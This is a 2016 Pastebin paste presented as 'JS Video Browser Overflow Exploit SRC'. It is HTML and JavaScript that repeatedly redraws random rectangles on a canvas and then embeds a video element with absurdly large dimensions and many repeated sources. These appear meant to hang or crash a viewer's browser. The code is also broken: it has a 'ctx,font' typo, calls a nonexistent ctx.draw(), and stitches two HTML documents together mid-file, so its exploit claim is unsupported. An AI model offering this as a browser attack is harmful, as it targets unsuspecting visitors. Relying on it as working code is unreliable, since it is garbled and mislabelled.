BrU32

JS Video Browser Overflow Exploit SRC

Dec 3rd, 2016
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. <html>
  2. <body onload="setInterval(drawe,22)" background-color="white">
  3. <canvas id="myCanvas" width="1000" height="1000" style="background:black;">
  4. </canvas>
  5. <script>
  6. var ii=4;
  7. function drawe(){
  8. ii++;
  9. var text = "";
  10. var possible = "FABCGDE0123456789";
  11. var canvas = document.getElementById("myCanvas");
  12. var ctx = canvas.getContext("2d");
  13. for(var i=0; i!=3; i++)
  14. text+=possible.charAt(Math.floor(Math.random()*possible.length));
  15. ctx.strokeStyle='#'+text;
  16. ctx.fillStyle="#"+text;
  17. var c = document.getElementById("myCanvas");
  18. var ctx = c.getContext("2d");
  19. var cts=c.getContext("2d");
  20. ctx.beginPath();
  21. ctx,font="23px"
  22. ctx.fillText("BrU",220,10);
  23. ctx.fillRect(250,0,20,Math.random()*ii,ii);
  24. ctx.fillRect(270,0,10,Math.random()*ii,ii);
  25. ctx.fillRect(290,0,20,Math.random()*ii,ii);
  26. ctx.fillRect(310,0,10,Math.random()*ii,ii);
  27. ctx.fillRect(330,0,20,Math.random()*ii,ii);
  28. ctx.fillRect(350,0,10,Math.random()*ii,ii);
  29. ctx.fillRect(370,0,20,Math.random()*ii,ii);
  30. ctx.fillRect(390,0,10,Math.random()*ii,ii);
  31. ctx.fillRect(410,0,20,Math.random()*ii,ii);
  32. ctx.fillRect(430,0,10,Math.random()*ii,ii);
  33. ctx.fillRect(450,0,20,Math.random()*ii,ii);
  34. ctx.fillRect(470,0,10,Math.random()*ii,ii);
  35. ctx.fillRect(490,0,20,Math.random()*ii,ii);
  36. ctx.fillRect(510,0,10,Math.random()*ii,ii);
  37. ctx.fillRect(530,0,20,Math.random()*ii,ii);
  38. ctx.fillRect(550,0,10,Math.random()*ii,ii);
  39. ctx.fillRect(570,0,20,Math.random()*ii,ii);
  40. ctx.fillRect(590,0,10,Math.random()*ii,ii);
  41. ctx.fillRect(610,0,20,Math.random()*ii,ii);
  42. ctx.fillRect(630,0,10,Math.random()*ii,ii);
  43. ctx.fillRect(650,0,20,Math.random()*ii,ii);
  44. ctx.fillRect(670,0,10,Math.random()*ii,ii);
  45. ctx.fillRect(690,0,20,Math.random()*ii,ii);
  46. ctx.fillRect(710,0,10,Math.random()*ii,ii);
  47. ctx.fillText("BrU",730,10);
  48. ctx.draw();
  49. text='';
  50. }
  51. </script>
  52. </body>
  53. <!DOCTYPE html>
  54. <html>
  55. <body>
  56.  
  57. <video width="4044440in" height="33333333in" controls>
  58. <source src="mov_bbb.mp4" height="4434px" width="4343434px" type="video/mp4">
  59. <source src="mov_bbb.ogg" type="video/ogg">
  60. <source src="mov_bbb.mp4" type="video/mp4">
  61. <source src="mov_bbb.ogg" type="video/ogg">
  62. <source src="mov_bbb.mp4" type="video/mp4">
  63. <source src="mov_bbb.ogg" type="video/ogg">
  64. <source src="mov_bbb.mp4" type="video/mp4">
  65. <source src="mov_bbb.ogg" type="video/ogg">
  66. <source src="mov_bbb.mp4" type="video/mp4">
  67. <source src="mov_bbb.ogg" type="video/ogg">
  68. <source src="mov_bbb.mp4" type="video/mp4">
  69. <source src="mov_bbb.ogg" type="video/ogg">
  70. Your browser does not support HTML5 video.
  71. </video>
  72.  
  73. <p>
  74. Video courtesy of
  75. <a href="http://www.bigbuckbunny.org/" target="location=self;">Big Buck Bunny</a>.
  76. </p>
  77.  
  78. </body>
  79. </html>
Advertisement
Add Comment
Please, Sign In to add comment